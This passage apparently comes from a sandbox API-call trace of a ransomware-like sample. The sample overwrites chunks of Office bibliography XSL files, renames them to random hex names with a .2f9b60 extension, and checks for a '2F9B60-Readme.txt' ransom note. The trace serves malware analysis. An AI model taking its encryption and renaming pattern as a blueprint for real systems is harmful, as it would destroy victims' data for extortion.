lpNewFilePointer=0x0) returned 1 [0205.332] WriteFile (in: hFile=0x1008, lpBuffer=0x1cebcc10*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2080fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1cebcc10*, lpNumberOfBytesWritten=0x2080fdb0*=0x13e, lpOverlapped=0x0) returned 1 [0208.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0208.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b20) returned 1 [0208.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d520 [0208.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0208.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0208.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0208.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x202a96a0 [0208.730] sprintf (in: _Dest=0x202a96a0, _Format="%c%c" | out: _Dest="e9") returned 2 [0208.730] sprintf (in: _Dest=0x202a96a2, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.730] sprintf (in: _Dest=0x202a96a4, _Format="%c%c" | out: _Dest="e7") returned 2 [0208.730] sprintf (in: _Dest=0x202a96a6, _Format="%c%c" | out: _Dest="c3") returned 2 [0208.730] sprintf (in: _Dest=0x202a96a8, _Format="%c%c" | out: _Dest="8b") returned 2 [0208.730] sprintf (in: _Dest=0x202a96aa, _Format="%c%c" | out: _Dest="8d") returned 2 [0208.730] sprintf (in: _Dest=0x202a96ac, _Format="%c%c" | out: _Dest="59") returned 2 [0208.730] sprintf (in: _Dest=0x202a96ae, _Format="%c%c" | out: _Dest="42") returned 2 [0208.730] sprintf (in: _Dest=0x202a96b0, _Format="%c%c" | out: _Dest="d7") returned 2 [0208.730] sprintf (in: _Dest=0x202a96b2, _Format="%c%c" | out: _Dest="c9") returned 2 [0208.730] sprintf (in: _Dest=0x202a96b4, _Format="%c%c" | out: _Dest="e6") returned 2 [0208.730] sprintf (in: _Dest=0x202a96b6, _Format="%c%c" | out: _Dest="8a") returned 2 [0208.730] RtlInitAnsiString (in: DestinationString=0x2080fe28, SourceString="e90ee7c38b8d5942d7c9e68a" | out: DestinationString="e90ee7c38b8d5942d7c9e68a") [0208.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x2080fdf8, SourceString="e90ee7c38b8d5942d7c9e68a", AllocateDestinationString=1 | out: DestinationString="e90ee7c38b8d5942d7c9e68a") returned 0x0 [0208.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5d9b0 [0208.731] wcscat (in: _Dest=0x43183800, _Source="e90ee7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\e90ee7") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\e90ee7" [0208.731] wcscat (in: _Dest=0x43183800, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\e90ee7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\e90ee7.2f9b60" [0208.731] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\e90ee7.2f9b60", NtPathName=0x2080fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\e90ee7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312a520 [0235.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312a520) returned 1 [0235.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a8530) returned 1 [0235.093] NtQueryInformationFile (in: FileHandle=0x1008, IoStatusBlock=0x2080fe38, FileInformation=0x2080fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2080fe38, FileInformation=0x2080fe48) returned 0x0 [0235.093] NtSetInformationFile (FileHandle=0x1008, IoStatusBlock=0x2080fe38, FileInformation=0x2080fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43183800) returned 1 [0236.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d9b0) returned 1 [0236.624] FlushFileBuffers (hFile=0x1008) returned 1 [0238.188] CloseHandle (hObject=0x1008) returned 1 [0240.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd64e70 [0240.506] wcscpy (in: _Dest=0x1cd64e70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0240.506] wcscat (in: _Dest=0x1cd64e70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0240.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0240.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64e70) returned 1 [0240.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae380) returned 1 Thread: id = 1529 os_tid = 0x1a38 [0121.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl")) returned 0x20 [0121.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL", dwFileAttributes=0x20) returned 1 [0121.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d0 [0121.545] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x2093f680 | out: lpFileSize=0x2093f680*=249206) returned 1 [0121.545] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x3cd72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.545] ReadFile (in: hFile=0x9d0, lpBuffer=0x2093f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2093f648, lpOverlapped=0x0 | out: lpBuffer=0x2093f600*, lpNumberOfBytesRead=0x2093f648*=0x4, lpOverlapped=0x0) returned 1 [0122.325] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a97c0 [0122.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96d0 [0122.325] NtQuerySystemTime (in: CurrentTime=0x2093f540 | out: CurrentTime=0x2093f540*=132462177277090000) returned 0x0 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x41f44dbc [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x70fe9731 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x10140b4f [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x73596dc0 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x7c85e872 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x2a8b90bc [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x764646c9 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0xa1832a1 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x32527f3e [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x76330d60 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x5e732f51 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0xce16a09 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x4d66a43c [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x5e973433 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x22fea7d7 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x4b460302 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x5e973433 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x10c818b9 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x629e3352 [0122.325] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x5d85440f [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x6a5cbb0d [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x2375f1e [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x81ad3fb [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x5e982dde [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x26a31f96 [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x6cadbdf9 [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x5289a395 [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x1b71cc18 [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x6d5917f8 [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x189cf2a7 [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x16094100 [0122.326] RtlRandomEx (in: Seed=0x2093f530 | out: Seed=0x2093f530) returned 0x13b26907 [0124.489] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.489] ReadFile (in: hFile=0x9d0, lpBuffer=0x420085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2093f5a0, lpOverlapped=0x0 | out: lpBuffer=0x420085a0*, lpNumberOfBytesRead=0x2093f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0124.871] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae70 [0124.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ae70) returned 1 [0124.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b6a520 [0124.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae70 [0124.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aea0 [0124.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aea0) returned 1 [0124.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.872] WriteFile (hFile=0x9d0, lpBuffer=0x41b6a520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2093f5a0, lpOverlapped=0x0) [0179.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b6a520) returned 1 [0179.561] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.561] ReadFile (in: hFile=0x9d0, lpBuffer=0x420085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2093f5a0, lpOverlapped=0x0 | out: lpBuffer=0x420085a0*, lpNumberOfBytesRead=0x2093f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0181.995] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0181.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0181.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e910 [0181.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e910) returned 1 [0181.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43006ce0 [0181.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e910 [0181.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ecd0 [0181.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ecd0) returned 1 [0181.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.000] WriteFile (in: hFile=0x9d0, lpBuffer=0x43006ce0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2093f5a0, lpOverlapped=0x0 | out: lpBuffer=0x43006ce0*, lpNumberOfBytesWritten=0x2093f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43006ce0) returned 1 [0198.820] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x39176, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.820] ReadFile (in: hFile=0x9d0, lpBuffer=0x420085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2093f5a0, lpOverlapped=0x0 | out: lpBuffer=0x420085a0*, lpNumberOfBytesRead=0x2093f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.824] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x39176, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b00 [0198.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b00) returned 1 [0198.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43006ce0 [0198.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b00 [0198.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b680 [0198.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b680) returned 1 [0198.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.827] WriteFile (in: hFile=0x9d0, lpBuffer=0x43006ce0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2093f5a0, lpOverlapped=0x0 | out: lpBuffer=0x43006ce0*, lpNumberOfBytesWritten=0x2093f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43006ce0) returned 1 [0213.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a3260 [0213.631] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.631] WriteFile (in: hFile=0x9d0, lpBuffer=0x134c00*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2093f650, lpOverlapped=0x0 | out: lpBuffer=0x134c00*, lpNumberOfBytesWritten=0x2093f650*=0x14a, lpOverlapped=0x0) returned 1 [0216.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0216.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0216.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138710 [0216.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138710) returned 1 [0216.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0216.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138710 [0216.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431386b0 [0216.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431386b0) returned 1 [0216.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0216.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0216.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fbb0 [0216.168] sprintf (in: _Dest=0x1cd9fbb0, _Format="%c%c" | out: _Dest="a4") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbb2, _Format="%c%c" | out: _Dest="52") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbb4, _Format="%c%c" | out: _Dest="c4") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbb6, _Format="%c%c" | out: _Dest="50") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbb8, _Format="%c%c" | out: _Dest="04") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbba, _Format="%c%c" | out: _Dest="64") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbbc, _Format="%c%c" | out: _Dest="dd") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbbe, _Format="%c%c" | out: _Dest="ef") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbc0, _Format="%c%c" | out: _Dest="84") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbc2, _Format="%c%c" | out: _Dest="5d") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbc4, _Format="%c%c" | out: _Dest="03") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbc6, _Format="%c%c" | out: _Dest="2f") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbc8, _Format="%c%c" | out: _Dest="b2") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbca, _Format="%c%c" | out: _Dest="b9") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbcc, _Format="%c%c" | out: _Dest="16") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbce, _Format="%c%c" | out: _Dest="c3") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbd0, _Format="%c%c" | out: _Dest="75") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbd2, _Format="%c%c" | out: _Dest="62") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbd4, _Format="%c%c" | out: _Dest="ef") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbd6, _Format="%c%c" | out: _Dest="e2") returned 2 [0216.168] sprintf (in: _Dest=0x1cd9fbd8, _Format="%c%c" | out: _Dest="fc") returned 2 [0216.169] sprintf (in: _Dest=0x1cd9fbda, _Format="%c%c" | out: _Dest="29") returned 2 [0216.169] sprintf (in: _Dest=0x1cd9fbdc, _Format="%c%c" | out: _Dest="9b") returned 2 [0216.169] sprintf (in: _Dest=0x1cd9fbde, _Format="%c%c" | out: _Dest="13") returned 2 [0216.169] RtlInitAnsiString (in: DestinationString=0x2093f6c8, SourceString="a452c4500464ddef845d032fb2b916c37562efe2fc299b13" | out: DestinationString="a452c4500464ddef845d032fb2b916c37562efe2fc299b13") [0216.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x2093f698, SourceString="a452c4500464ddef845d032fb2b916c37562efe2fc299b13", AllocateDestinationString=1 | out: DestinationString="a452c4500464ddef845d032fb2b916c37562efe2fc299b13") returned 0x0 [0216.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309fec0 [0216.178] wcscat (in: _Dest=0x1ce17790, _Source="a452c4500464" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a452c4500464") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a452c4500464" [0216.178] wcscat (in: _Dest=0x1ce17790, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a452c4500464.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a452c4500464.2f9b60" [0216.178] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a452c4500464.2f9b60", NtPathName=0x2093f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a452c4500464.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fdd10 [0237.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fdd10) returned 1 [0237.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430b19f0) returned 1 [0237.809] NtQueryInformationFile (in: FileHandle=0x9d0, IoStatusBlock=0x2093f6d8, FileInformation=0x2093f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2093f6d8, FileInformation=0x2093f6e8) returned 0x0 [0237.809] NtSetInformationFile (FileHandle=0x9d0, IoStatusBlock=0x2093f6d8, FileInformation=0x2093f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0239.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17790) returned 1 [0239.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fec0) returned 1 [0239.933] FlushFileBuffers (hFile=0x9d0) returned 1 [0240.101] CloseHandle (hObject=0x9d0) returned 1 [0242.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cebf840 [0242.466] wcscpy (in: _Dest=0x1cebf840, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0242.466] wcscat (in: _Dest=0x1cebf840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0242.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0242.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf840) returned 1 [0242.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae1a0) returned 1 Thread: id = 1530 os_tid = 0x1a3c [0121.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl")) returned 0x20 [0121.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL", dwFileAttributes=0x20) returned 1 [0121.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xda8 [0121.541] GetFileSizeEx (in: hFile=0xda8, lpFileSize=0x2058f920 | out: lpFileSize=0x2058f920*=244182) returned 1 [0121.541] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x3b9d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.541] ReadFile (in: hFile=0xda8, lpBuffer=0x2058f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2058f8e8, lpOverlapped=0x0 | out: lpBuffer=0x2058f8a0*, lpNumberOfBytesRead=0x2058f8e8*=0x4, lpOverlapped=0x0) returned 1 [0122.272] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fd0 [0122.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0122.272] NtQuerySystemTime (in: CurrentTime=0x2058f7e0 | out: CurrentTime=0x2058f7e0*=132462177276466000) returned 0x0 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x170a5580 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x16b4a400 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x674c77c0 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x3840e778 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x2f735f28 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x27047b68 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x3f4c999e [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x10234351 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 